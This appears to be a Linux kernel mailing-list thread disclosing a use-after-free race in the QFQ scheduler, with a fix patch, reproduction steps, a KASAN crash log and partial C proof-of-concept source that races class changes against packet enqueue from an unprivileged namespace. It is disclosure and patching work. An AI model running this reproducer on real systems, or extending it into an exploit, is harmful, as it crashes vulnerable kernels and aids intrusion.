Re: [PATCH] net/sched: sch_qfq: prevent aggregate self-replacement
From: David Lee
Date: Fri Oct 23 2026 - 11:55:46 EST
Hi Jamal,
I reproduced the issue on upstream Linux at commit
734bef548a96e8774d6eef5dfa2026c6edc4e80b using the original PoC,
confirming that it is still present at that revision.
I've attached the KASAN log, the PoC, reproduction steps, and the bug report.
For reference, the original patch thread is:
https://lore.kernel.org/netdev/20260731140533.566493-1-david.lee@xxxxxxxxxxxxxxx/
Best regards,
David
On Thu, 22 Oct 2026 05:14:38 -0400, Jamal Hadi Salim <jhs@xxxxxxxxxxxx> wrote:
> On Wed, Oct 21, 2026 at 10:56 AM David Lee <david.lee@xxxxxxxxxxxxxxx> wrote:
> >
> > Hi Jamal,
> >
> > Following up on this thread. Please let me know if you had a chance to review the attached reproducer or if you need any additional information.
> >
>
> Please resend to the list - I lost track.
> And if you follow up after like 2 months(!) you will really have to
> retest with the new kernel and likely look at the list to see if there
> are other fixes that cover this issue.
>
>
> cheers,
> jamal
>
> > Best regards,
> >
> >
> >
> > On Mon, Aug 10, 2026 at 11:22 AM David Lee <david.lee@xxxxxxxxxxxxxxx> wrote:
> >>
> >> Hi Jamal,
> >>
> >> Reproducer has been attached to this email.
> >>
> >> ========== Reproduction ==========
> >>
> >> 1. Build Linux at 82a47586c0b9266622657009aa30573dddf09f53
> >> with the configuration options listed above and KASAN enabled.
> >> Use a system with at least two CPUs. If QFQ is configured as a
> >> module, make sch_qfq available before running the reproducer.
> >>
> >> 2. Build the attached poc.c:
> >>
> >> ~
> >> gcc -static -O2 -pthread -Wall -Wextra -o poc poc.c
> >> ~
> >>
> >> 3. Run the resulting binary:
> >>
> >> ~
> >> ./poc
> >> ~
> >>
> >> The reproducer creates user and network namespaces, brings up the
> >> loopback device, installs a QFQ qdisc and class, and races class
> >> changes against packet enqueue. Race timing varies between systems.
> >> On the validated KASAN kernel, the expected result is a
> >> slab-use-after-free report in qfq_add_to_agg(), followed by a kernel
> >> panic. The full observed output is attached as splash.txt.
> >>
> >> he issue was reproduced on Linux 7.2-rc3 at:
> >>
> >> 82a47586c0b9266622657009aa30573dddf09f53
> >>
> >> It is also present in Linux 7.2-rc5 at:
> >>
> >> f5098b6bae761e346ebcd9da7f95622c04733cff
> >>
> >> As of July 27, 2026, the vulnerable sequence remains in upstream
> >> master at:
> >>
> >> 62cc90241548d5570ee68e01aaba6506964e9811
> >> https://github.com/torvalds/linux/commit/62cc90241548d5570ee68e01aaba6506964e9811
> >>
> >> Required configuration:
> >>
> >> * CONFIG_NET_SCHED
> >> * CONFIG_NET_SCH_QFQ
> >>
> >> The attached reproducer additionally requires:
> >>
> >> * CONFIG_USER_NS
> >> * CONFIG_NET_NS
> >> * CONFIG_INET
> >>
> >> KASAN is recommended to observe the first invalid access.
> >>
> >> Regarding the format, I can send v2 if the reproducer looks good on your end.
> >>
> >> Thank you.
> >>
> >> Best regards,
> >> David
> >>
> >> On Fri, Jul 31, 2026 at 12:33 PM Jamal Hadi Salim <jhs@xxxxxxxxxxxx> wrote:
> >>>
> >>> On Fri, Jul 31, 2026 at 10:05 AM David Lee <david.lee@xxxxxxxxxxxxxxx> wrote:
> >>> >
> >>> > qfq_change_class() snapshots the current aggregate settings while
> >>> > holding the qdisc tree lock, but drops the lock before selecting the
> >>> > destination aggregate. During that gap, qfq_enqueue() can move the
> >>> > class to an aggregate matching the requested settings.
> >>> >
> >>> > When qfq_change_class() resumes, qfq_find_agg() then returns cl->agg.
> >>> > If it is a singleton, qfq_deact_rm_from_agg() frees the aggregate
> >>> > before qfq_add_to_agg() immediately accesses the same pointer, causing
> >>> > a use-after-free.
> >>> >
> >>> > While holding the tree lock, skip the replacement when the destination
> >>> > is already the current aggregate. Any estimator replacement has already
> >>> > completed, so the class change can finish normally.
> >>> >
> >>> > Fixes: 462dbc9101ac ("pkt_sched: QFQ Plus: fair-queueing service at DRR cost")
> >>> > Bug found and triaged by OpenAI Security Research and
> >>> > validated by Trail of Bits.
> >>> >
> >>>
> >>> Please always send a reproducer - either as a tdc test case or if it
> >>> is sensitive send it privately to me and Cc the other maintainers.
> >>> As trivial as this looks I will not look at it without a repro.
> >>>
> >>> cheers,
> >>> jamal
> >>>
> >>> > Assisted-by: Codex:gpt-5.6-sol gpt-5.5-cyber
> >>> > Signed-off-by: Kyle Zeng <kylebot@xxxxxxxxxx>
> >>> > ---
> >>> > Trail of Bits has a reproducer for this bug that triggers a
> >>> > KASAN use-after-free and can share if needed.
> >>> >
> >>> > net/sched/sch_qfq.c | 3 +++
> >>> > 1 file changed, 3 insertions(+)
> >>> >
> >>> > diff --git a/net/sched/sch_qfq.c b/net/sched/sch_qfq.c
> >>> > index 6f3b7273c..e900890e9 100644
> >>> > --- a/net/sched/sch_qfq.c
> >>> > +++ b/net/sched/sch_qfq.c
> >>> > @@ -517,11 +517,14 @@ static int qfq_change_class(struct Qdisc *sch, u32 classid, u32 parentid,
> >>> > sch_tree_lock(sch);
> >>> > qfq_init_agg(q, new_agg, lmax, weight);
> >>> > }
> >>> > + if (existing && new_agg == cl->agg)
> >>> > + goto unlock;
> >>> > if (existing)
> >>> > qfq_deact_rm_from_agg(q, cl);
> >>> > else
> >>> > qdisc_class_hash_insert(&q->clhash, &cl->common);
> >>> > qfq_add_to_agg(q, new_agg, cl);
> >>> > +unlock:
> >>> > sch_tree_unlock(sch);
> >>> > qdisc_class_hash_grow(sch, &q->clhash);
> >>> >
> >>> > --
> >>> > 2.53.0
> >
> >
> >
> > --
> > David Lee
> > Security Engineer I, Application Security | Trail of Bits
> > trailofbits.com
Linux version 7.3.0-package1-10 (root@8105c49ca192) (x86_64-linux-gnu-gcc (Debian 14.2.0-19) 14.2.0, GNU ld (GNU Binutils for Debian) 2.44) #2 SMP PREEMPT Fri Oct 23 15:18:45 UTC 2026
Command line: console=ttyS0 rdinit=/init nokaslr oops=panic panic_on_warn=1 panic=1 kasan.fault=panic
BIOS-provided physical RAM map:
BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] System RAM
BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] device reserved
BIOS-e820: [gap 0x00000000000a0000-0x00000000000effff]
BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] device reserved
BIOS-e820: [mem 0x0000000000100000-0x000000007ffdffff] System RAM
BIOS-e820: [mem 0x000000007ffe0000-0x000000007fffffff] device reserved
BIOS-e820: [gap 0x0000000080000000-0x00000000afffffff]
BIOS-e820: [mem 0x00000000b0000000-0x00000000bfffffff] device reserved
BIOS-e820: [gap 0x00000000c0000000-0x00000000fed1bfff]
BIOS-e820: [mem 0x00000000fed1c000-0x00000000fed1ffff] device reserved
BIOS-e820: [gap 0x00000000fed20000-0x00000000fffbffff]
BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] device reserved
BIOS-e820: [gap 0x0000000100000000-0x000000fcffffffff]
BIOS-e820: [mem 0x000000fd00000000-0x000000ffffffffff] device reserved
NX (Execute Disable) protection: active
APIC: Static calls initialized
tsc: Fast TSC calibration using PIT
tsc: Detected 999.999 MHz processor
last_pfn = 0x7ffe0 max_arch_pfn = 0x10000000000
x86/PAT: PAT support disabled because CONFIG_X86_PAT is disabled in the kernel.
x86/PAT: Configuration [0-7]: WB WT UC- UC WB WT UC- UC
found SMP MP-table at [mem 0x000f5480-0x000f548f]
Using GB pages for direct mapping
RAMDISK: [mem 0x7fe08000-0x7ffdffff]
ACPI: Early table checksum verification disabled
ACPI: RSDP 0x00000000000F52C0 000014 (v00 BOCHS )
ACPI: RSDT 0x000000007FFE233B 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: FACP 0x000000007FFE212B 0000F4 (v03 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: DSDT 0x000000007FFE0040 0020EB (v01 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: FACS 0x000000007FFE0000 000040
ACPI: APIC 0x000000007FFE221F 000080 (v03 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: HPET 0x000000007FFE229F 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: MCFG 0x000000007FFE22D7 00003C (v01 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: WAET 0x000000007FFE2313 000028 (v01 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: Reserving FACP table memory at [mem 0x7ffe212b-0x7ffe221e]
ACPI: Reserving DSDT table memory at [mem 0x7ffe0040-0x7ffe212a]
ACPI: Reserving FACS table memory at [mem 0x7ffe0000-0x7ffe003f]
ACPI: Reserving APIC table memory at [mem 0x7ffe221f-0x7ffe229e]
ACPI: Reserving HPET table memory at [mem 0x7ffe229f-0x7ffe22d6]
ACPI: Reserving MCFG table memory at [mem 0x7ffe22d7-0x7ffe2312]
ACPI: Reserving WAET table memory at [mem 0x7ffe2313-0x7ffe233a]
KernelAddressSanitizer initialized (generic)
ACPI: PM-Timer IO Port: 0x608
ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1])
IOAPIC[0]: apic_id 0, version 32, address 0xfec00000, GSI 0-23
ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl)
ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level)
ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level)
ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level)
ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level)
ACPI: Using ACPI (MADT) for SMP configuration information
ACPI: HPET id: 0x8086a201 base: 0xfed00000
CPU topo: Max. logical packages: 1
CPU topo: Max. logical nodes: 1
CPU topo: Num. nodes per package: 1
CPU topo: Max. logical dies: 1
CPU topo: Max. dies per package: 1
CPU topo: Max. threads per core: 1
CPU topo: Num. cores per package: 2
CPU topo: Num. threads per package: 2
CPU topo: Allowing 2 present CPUs plus 0 hotplug CPUs
[gap 0xc0000000-0xfed1bfff] available for PCI devices
clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645519600211568 ns
Zone ranges:
DMA32 [mem 0x0000000000001000-0x000000007ffdffff]
Normal empty
Movable zone start for each node
Early memory node ranges
node 0: [mem 0x0000000000001000-0x000000000009efff]
node 0: [mem 0x0000000000100000-0x000000007ffdffff]
Initmem setup node 0 [mem 0x0000000000001000-0x000000007ffdffff]
On node 0, zone DMA32: 1 pages in unavailable ranges
On node 0, zone DMA32: 97 pages in unavailable ranges
On node 0, zone DMA32: 32 pages in unavailable ranges
setup_percpu: NR_CPUS:2 nr_cpumask_bits:2 nr_cpu_ids:2 nr_node_ids:1
percpu: Embedded 58 pages/cpu s205976 r0 d31592 u1048576
Kernel command line: console=ttyS0 rdinit=/init nokaslr oops=panic panic_on_warn=1 panic=1 kasan.fault=panic
Unknown kernel command line parameters "nokaslr", will be passed to user space.
random: crng init done
printk: log buffer data + meta data: 131072 + 458752 = 589824 bytes
Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes, linear)
Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes, linear)
Built 1 zonelists, mobility grouping on. Total pages: 524158
mem auto-init: stack:all(zero), heap alloc:off, heap free:off
stackdepot: allocating hash table via alloc_large_system_hash
stackdepot hash table entries: 1048576 (order: 12, 16777216 bytes, linear)
stackdepot: allocating space for 8192 stack pools via memblock
SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=2, Nodes=1
ftrace: allocating 19876 entries in 78 pages
ftrace: allocated 78 pages with 4 groups
rcu: Hierarchical RCU implementation.
Trampoline variant of Tasks RCU enabled.
Rude variant of Tasks RCU enabled.
Tracing variant of Tasks RCU enabled.
rcu: RCU calculated value of scheduler-enlistment delay is 25 jiffies.
RCU Tasks: Setting shift to 1 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=2.
RCU Tasks Rude: Setting shift to 1 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=2.
NR_IRQS: 4352, nr_irqs: 56, preallocated irqs: 16
rcu: srcu_init: Setting srcu_struct sizes based on contention.
clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
Console: colour *CGA 80x25
printk: console [ttyS0] enabled
ACPI: Core revision 20260408
clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns
APIC: Switch to symmetric I/O mode setup
..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1
clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x1cd42c7a813, max_idle_ns: 881590565951 ns
Calibrating delay loop (skipped), value calculated using timer frequency.. 1999.99 BogoMIPS (lpj=3999996)
Last level iTLB entries: 4KB 0, 2MB 0, 4MB 0
Last level dTLB entries: 4KB 0, 2MB 0, 4MB 0, 1GB 0
mitigations: Enabled attack vectors: SMT mitigations: off
Speculative Store Bypass: Vulnerable
Spectre V2 : Vulnerable
Spectre V1 : Vulnerable: __user pointer sanitization and usercopy barriers only; no swapgs barriers
x86/fpu: Supporting XSAVE feature 0x001: 'x87 floating point registers'
x86/fpu: Supporting XSAVE feature 0x002: 'SSE registers'
x86/fpu: Supporting XSAVE feature 0x004: 'AVX registers'
x86/fpu: Supporting XSAVE feature 0x008: 'MPX bounds registers'
x86/fpu: Supporting XSAVE feature 0x010: 'MPX CSR'
x86/fpu: xstate_offset[2]: 576, xstate_sizes[2]: 256
x86/fpu: xstate_offset[3]: 960, xstate_sizes[3]: 64
x86/fpu: xstate_offset[4]: 1024, xstate_sizes[4]: 64
x86/fpu: Enabled xstate features 0x1f, context size is 1088 bytes, using 'standard' format.
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 4096 (order: 3, 32768 bytes, linear)
Mountpoint-cache hash table entries: 4096 (order: 3, 32768 bytes, linear)
VFS: Finished mounting rootfs on nullfs
smpboot: CPU0: AMD QEMU TCG CPU version 2.5+ (family: 0x6, model: 0x6, stepping: 0x3)
Performance Events: PMU not available due to virtualization, using software events only.
signal: max sigframe size: 1616
rcu: Hierarchical SRCU implementation.
rcu: Max phase no-delay instances is 1000.
smp: Bringing up secondary CPUs ...
smpboot: x86: Booting SMP configuration:
.... node #0, CPUs: #1
smp: Brought up 1 node, 2 CPUs
smpboot: Total of 2 processors activated (4001.49 BogoMIPS)
Memory: 1742988K/2096632K available (17404K kernel code, 3039K rwdata, 3288K rodata, 1420K init, 416K bss, 349468K reserved, 0K cma-reserved)
devtmpfs: initialized
posixtimers hash table entries: 1024 (order: 2, 16384 bytes, linear)
futex hash table entries: 512 (32768 bytes on 1 NUMA nodes, total 32 KiB, linear).
NET: Registered PF_NETLINK/PF_ROUTE protocol family
thermal_sys: Registered thermal governor 'step_wise'
cpuidle: using governor ladder
ACPI: Added _OSI(Module Device)
ACPI: Added _OSI(Processor Device)
ACPI: Added _OSI(Processor Aggregator Device)
ACPI Error: AE_BAD_PARAMETER, During Region initialization (20260408/tbxfload-52)
ACPI: Unable to load the System Description Tables
ACPI Error: Could not remove SCI handler (20260408/evmisc-251)
clocksource: Switched to clocksource tsc-early
pnp: PnP ACPI: disabled
clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns
NET: Registered PF_INET protocol family
IP idents hash table entries: 32768 (order: 6, 262144 bytes, linear)
tcp_listen_portaddr_hash hash table entries: 1024 (order: 2, 16384 bytes, linear)
Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear)
TCP established hash table entries: 16384 (order: 5, 131072 bytes, linear)
TCP bind hash table entries: 16384 (order: 7, 524288 bytes, linear)
TCP: Hash tables configured (established 16384 bind 16384)
UDP hash table entries: 1024 (order: 4, 65536 bytes, linear)
NET: Registered PF_UNIX/PF_LOCAL protocol family
NET: Registered PF_INET6 protocol family
Segment Routing with IPv6
In-situ OAM (IOAM) with IPv6
Unpacking initramfs...
platform rtc_cmos: registered fallback platform RTC device
workingset: timestamp_bits=62 (anon: 57) max_order=19 bucket_order=0 (anon: 0)
Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
serial8250: ttyS0 I/O:0x3f8 (irq = 4, base_baud = 115200) is a 16550A
i8042: PNP: No PS/2 controller found.
i8042: Probing ports directly.
serio: i8042 KBD port at 0x60,0x64 irq 1
serio: i8042 AUX port at 0x60,0x64 irq 12
sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver
input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input0
IPI shorthand broadcast: enabled
Freeing initrd memory: 1888K
sched_clock: Marking stable (1506915454, 124555360)->(1633963175, -2492361)
Freeing unused kernel image (initmem) memory: 1420K
Write protecting the kernel read-only data: 22528k
Freeing unused kernel image (text/rodata gap) memory: 1024K
Freeing unused kernel image (rodata/data gap) memory: 808K
Run /init as init process
input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input2
QFQ_RETEST_GUEST_START
Linux qfq-mainline 7.3.0-package1-10 #2 SMP PREEMPT Fri Oct 23 15:18:45 UTC 2026 x86_64 GNU/Linux
Kernel command line: console=ttyS0 rdinit=/init nokaslr oops=panic panic_on_warn=1 panic=1 kasan.fault=panic
PoC SHA256: 2afc489a355ea1cc33f60511ba2c2c3d36fac0205fe738e2d75b7652a9bc13f4 /poc
Online CPUs: 0-1
Bound: three attempts, 120 seconds each; 50,000 race iterations per completed original PoC.
ATTEMPT 1
RUNNER allowed_cpus: cpu0=1 cpu1=1
tsc: Refined TSC clocksource calibration: 999.992 MHz
clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x1cd41f163de, max_idle_ns: 881590457442 ns
clocksource: Switched to clocksource tsc
POC_START uid=1000 euid=1000 gid=1000 command=./poc limit=120s
==================================================================
BUG: KASAN: slab-use-after-free in qfq_add_to_agg+0x1d6/0x260
Read of size 4 at addr ff1100000321e440 by task poc/49
CPU: 0 UID: 1000 PID: 49 Comm: poc Not tainted 7.3.0-package1-10 #2 PREEMPTLAZY
Call Trace:
<TASK>
dump_stack_lvl+0x4f/0x70
print_report+0x159/0x4b0
? _raw_spin_lock_irqsave+0x7a/0xc0
? kasan_complete_mode_report_info+0x5c/0x1b0
? qfq_add_to_agg+0x1d6/0x260
kasan_report+0xda/0x110
? qfq_add_to_agg+0x1d6/0x260
__asan_report_load4_noabort+0x14/0x20
qfq_add_to_agg+0x1d6/0x260
? qfq_rm_from_agg+0x1ee/0x2c0
qfq_change_class+0x646/0x1620
? qfq_dump_class_stats+0x610/0x610
? arch_stack_walk+0x91/0xc0
tc_ctl_tclass+0x48a/0x1380
? qdisc_create+0x1250/0x1250
? kasan_save_stack+0x49/0x60
? __kasan_check_write+0x14/0x20
? mutex_lock+0x6d/0xb0
? __mutex_lock_slowpath+0x20/0x20
rtnetlink_rcv_msg+0x547/0xd10
? rtnl_calcit.isra.0+0x2c0/0x2c0
netlink_rcv_skb+0x132/0x370
? rtnl_calcit.isra.0+0x2c0/0x2c0
? netlink_ack+0xcc0/0xcc0
? __asan_memset+0x39/0x40
? _copy_from_iter+0x16d/0x14d0
rtnetlink_rcv+0x15/0x20
netlink_unicast+0x606/0x9f0
? netlink_attachskb+0x9f0/0x9f0
netlink_sendmsg+0x7b0/0xed0
? netlink_unicast+0x9f0/0x9f0
? __import_iovec+0x338/0x5e0
____sys_sendmsg+0x27f/0xa80
? ____sys_sendmsg+0x27f/0xa80
? import_iovec+0xb/0x10
? __sock_recv_cmsgs+0x550/0x550
? __wake_up+0x45/0x60
___sys_sendmsg+0xe3/0x150
? copy_msghdr_from_user+0x430/0x430
? netlink_dump+0x15c0/0x15c0
? __kasan_check_write+0x14/0x20
? fput+0x2b/0x90
__sys_sendmsg+0x102/0x180
? __sys_sendmsg_sock+0x20/0x20
__x64_sys_sendmsg+0x77/0xb0
x64_sys_call+0x27f/0xa40
do_syscall_64+0x55/0x2c0
entry_SYSCALL_64_after_hwframe+0x4b/0x53
RIP: 0033:0x441ebe
Code: 08 0f 85 e5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007ffe0beae9f8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e
RAX: ffffffffffffffda RBX: 00000000303753c0 RCX: 0000000000441ebe
RDX: 0000000000000000 RSI: 00007ffe0beaea80 RDI: 0000000000000003
RBP: 00007ffe0beb0b00 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffe0beaeac0
R13: 0000000000000005 R14: 00007ffe0beb1b40 R15: 00007ffe0beb1b3c
</TASK>
Allocated by task 50:
kasan_save_stack+0x39/0x60
kasan_save_track+0x14/0x30
kasan_save_alloc_info+0x37/0x40
__kasan_kmalloc+0x90/0xa0
__kmalloc_cache_noprof+0x141/0x310
qfq_enqueue+0xa37/0x13a0
dev_qdisc_enqueue+0x42/0x1a0
__dev_queue_xmit+0x1b8c/0x31e0
ip_finish_output2+0xdd9/0x1fc0
__ip_finish_output+0x277/0x9a0
ip_output+0xc1/0x150
ip_local_out+0x275/0x320
ip_send_skb+0x3b/0xb0
udp_send_skb+0x762/0xd00
udp_sendmsg+0x1257/0x2350
inet_sendmsg+0x8b/0xc0
__sys_sendto+0x296/0x500
__x64_sys_sendto+0xe0/0x1a0
x64_sys_call+0x28d/0xa40
do_syscall_64+0x55/0x2c0
entry_SYSCALL_64_after_hwframe+0x4b/0x53
Freed by task 49:
kasan_save_stack+0x39/0x60
kasan_save_track+0x14/0x30
kasan_save_free_info+0x3b/0x50
__kasan_slab_free+0x40/0x60
kfree+0xed/0x380
qfq_rm_from_agg+0x1ee/0x2c0
qfq_change_class+0x638/0x1620
tc_ctl_tclass+0x48a/0x1380
rtnetlink_rcv_msg+0x547/0xd10
netlink_rcv_skb+0x132/0x370
rtnetlink_rcv+0x15/0x20
netlink_unicast+0x606/0x9f0
netlink_sendmsg+0x7b0/0xed0
____sys_sendmsg+0x27f/0xa80
___sys_sendmsg+0xe3/0x150
__sys_sendmsg+0x102/0x180
__x64_sys_sendmsg+0x77/0xb0
x64_sys_call+0x27f/0xa40
do_syscall_64+0x55/0x2c0
entry_SYSCALL_64_after_hwframe+0x4b/0x53
The buggy address belongs to the object at ff1100000321e400
which belongs to the cache kmalloc-128 of size 128
The buggy address is located 64 bytes inside of
freed 128-byte region [ff1100000321e400, ff1100000321e480)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x321e
flags: 0x0(zone=0)
page_type: f5(slab)
raw: 0000000000000000 ff11000000133a00 dead000000000122 0000000000000000
raw: 0000000000000000 0000000000100010 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
ff1100000321e300: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
ff1100000321e380: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ff1100000321e400: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ff1100000321e480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
ff1100000321e500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
==================================================================
Kernel panic - not syncing: KASAN: panic_on_warn set ...
Kernel Offset: disabled
Rebooting in 1 seconds..
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/gen_stats.h>
#include <linux/netlink.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdarg.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define QDISC_HANDLE 0x10000U
#define CLASS_HANDLE 0x10001U
#define TARGET_LMAX 1500U
#define UDP_PAYLOAD_LEN 1458
#define ITERATIONS 50000U
#define MAX_DELAY 4096U
struct nl_req {
char buf[4096];
struct nlmsghdr *nlh;
};
struct race_ctx {
atomic_uint go;
atomic_uint done;
int sender;
int receiver;
char packet[UDP_PAYLOAD_LEN];
};
static uint32_t nl_seq;
static void die(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fprintf(stderr, ": %s\n", strerror(errno));
exit(1);
}
static void expect_ok(int ret, const char *what)
{
if (ret < 0) {
errno = -ret;
die("%s", what);
}
}
static void init_req(struct nl_req *req, uint16_t type, uint16_t flags,
size_t payload_len)
{
memset(req, 0, sizeof(*req));
req->nlh = (struct nlmsghdr *)req->buf;
req->nlh->nlmsg_len = NLMSG_LENGTH(payload_len);
req->nlh->nlmsg_type = type;
req->nlh->nlmsg_flags = flags;
}
static void addattr(struct nl_req *req, uint16_t type, const void *data,
size_t len)
{
size_t offset = NLMSG_ALIGN(req->nlh->nlmsg_len);
size_t attr_len = RTA_LENGTH(len);
struct rtattr *rta;
if (offset + RTA_ALIGN(attr_len) > sizeof(req->buf)) {
errno = E2BIG;
die("netlink attribute overflow");
}
rta = (struct rtattr *)(req->buf + offset);
rta->rta_type = type;
rta->rta_len = attr_len;
memcpy(RTA_DATA(rta), data, len);
req->nlh->nlmsg_len = offset + RTA_ALIGN(attr_len);
}
static struct rtattr *nest_start(struct nl_req *req, uint16_t type)
{
size_t offset = NLMSG_ALIGN(req->nlh->nlmsg_len);
struct rtattr *rta;
if (offset + RTA_ALIGN(RTA_LENGTH(0)) > sizeof(req->buf)) {
errno = E2BIG;
die("netlink nest overflow");
}
rta = (struct rtattr *)(req->buf + offset);
rta->rta_type = type;
rta->rta_len = RTA_LENGTH(0);
req->nlh->nlmsg_len = offset + RTA_ALIGN(rta->rta_len);
return rta;
}
static void nest_end(struct nl_req *req, struct rtattr *rta)
{
rta->rta_len = (char *)req->buf + req->nlh->nlmsg_len - (char *)rta;
}
static int nl_open(void)
{
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
};
int fd;
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0)
die("socket NETLINK_ROUTE");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("bind NETLINK_ROUTE");
return fd;
}
static int nl_talk(int fd, struct nl_req *req)
{
struct sockaddr_nl nladdr = {
.nl_family = AF_NETLINK,
};
char buf[8192];
struct iovec iov;
struct msghdr msg;
ssize_t n;
req->nlh->nlmsg_seq = ++nl_seq;
iov.iov_base = req->nlh;
iov.iov_len = req->nlh->nlmsg_len;
memset(&msg, 0, sizeof(msg));
msg.msg_name = &nladdr;
msg.msg_namelen = sizeof(nladdr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if (sendmsg(fd, &msg, 0) < 0)
return -errno;
for (;;) {
struct nlmsghdr *nlh;
int rem;
n = recv(fd, buf, sizeof(buf), 0);
if (n < 0)
return -errno;
for (nlh = (struct nlmsghdr *)buf, rem = (int)n;
NLMSG_OK(nlh, rem); nlh = NLMSG_NEXT(nlh, rem)) {
struct nlmsgerr *err;
if (nlh->nlmsg_seq != req->nlh->nlmsg_seq)
continue;
if (nlh->nlmsg_type != NLMSG_ERROR)
continue;
err = (struct nlmsgerr *)NLMSG_DATA(nlh);
return err->error;
}
}
}
static int qdisc_add(int fd, int ifindex)
{
struct nl_req req;
struct tcmsg *tcm;
const char kind[] = "qfq";
init_req(&req, RTM_NEWQDISC,
NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL,
sizeof(*tcm));
tcm = NLMSG_DATA(req.nlh);
tcm->tcm_family = AF_UNSPEC;
tcm->tcm_ifindex = ifindex;
tcm->tcm_handle = QDISC_HANDLE;
tcm->tcm_parent = TC_H_ROOT;
addattr(&req, TCA_KIND, kind, sizeof(kind));
return nl_talk(fd, &req);
}
static int class_change(int fd, int ifindex, uint32_t lmax, bool create,
bool add_rate)
{
struct nl_req req;
struct tcmsg *tcm;
struct rtattr *opts;
struct gnet_estimator est = {
.interval = -2,
.ewma_log = 1,
};
uint32_t weight = 1;
uint16_t flags = NLM_F_REQUEST | NLM_F_ACK;
if (create)
flags |= NLM_F_CREATE | NLM_F_EXCL;
init_req(&req, RTM_NEWTCLASS, flags, sizeof(*tcm));
tcm = NLMSG_DATA(req.nlh);
tcm->tcm_family = AF_UNSPEC;
tcm->tcm_ifindex = ifindex;
tcm->tcm_handle = CLASS_HANDLE;
tcm->tcm_parent = QDISC_HANDLE;
opts = nest_start(&req, TCA_OPTIONS);
addattr(&req, TCA_QFQ_WEIGHT, &weight, sizeof(weight));
addattr(&req, TCA_QFQ_LMAX, &lmax, sizeof(lmax));
nest_end(&req, opts);
if (add_rate)
addattr(&req, TCA_RATE, &est, sizeof(est));
return nl_talk(fd, &req);
}
static void setup_namespace(void)
{
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
die("unshare");
}
static int setup_loopback(void)
{
struct ifreq ifr;
int fd;
int ifindex;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die("socket AF_INET");
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
die("SIOCGIFFLAGS");
ifr.ifr_flags |= IFF_UP;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
die("SIOCSIFFLAGS");
close(fd);
ifindex = if_nametoindex("lo");
if (ifindex == 0)
die("if_nametoindex");
return ifindex;
}
